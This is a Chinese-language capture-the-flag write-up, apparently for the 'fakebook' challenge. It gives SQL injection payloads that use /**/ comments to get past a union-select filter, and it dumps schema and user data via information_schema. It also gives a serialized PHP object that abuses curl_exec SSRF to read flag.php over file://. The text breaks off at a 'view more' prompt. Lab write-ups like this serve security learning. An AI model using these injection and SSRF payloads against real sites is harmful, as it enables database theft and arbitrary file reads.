先 输入 1 order by 6# ,查询失败。
获得了字段数,我们就进行union联合查询,尝试输入 1 union select 1,database(),1,1 #
页面返回 no hack _,很明显应该是后端检测到我们的注入关键词。
这里我们猜测它检测到的可能是 union select,我们尝试用/**/进行绕过,
在mysql中 //插入到sql语句中既可以当注释,也可以当空格,所以这里我们构造 -1 union//select 1,database(),1,1 #,
获取表名:
-1 union/**/select 1,group_concat(table_name),1,1 from information_schema.tables where table_schema='fakebook'#
-1 union/**/select 1,group_concat(column_name),1,1 from information_schema.columns where table_name='users'#
-1 union/**/select 1,data,1,1 from users #
3.开头我们扫描出了 robots.txt文件,那我们就访问看看。再根据提示打开user.php.bak,发现了如下代码:
通过这段代码可以知道,这个函数会读取blog,然后访问它,如果访问成功则会读取文件的信息,否则返回404,
所以我们可以通过反序列化来实现ssrf读取任意文件,构造我们想要的路径,然后为了绕过正则,不从注册登录的地方下手,
直接人为构造联合查询返回语句,data字段在第四个位置。
构造如下:
curl_exec函数存在ssrf。通过注入反序列化利用ssrf读取任意文件。
view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
注册成功后它就会显示你注册的账户信息,然后查看源码,如下图,点击iframe的src属性值即可获得flag
同样的可以将src后的base64解码:
因篇幅问题不能全部显示,请点此查看更多更全内容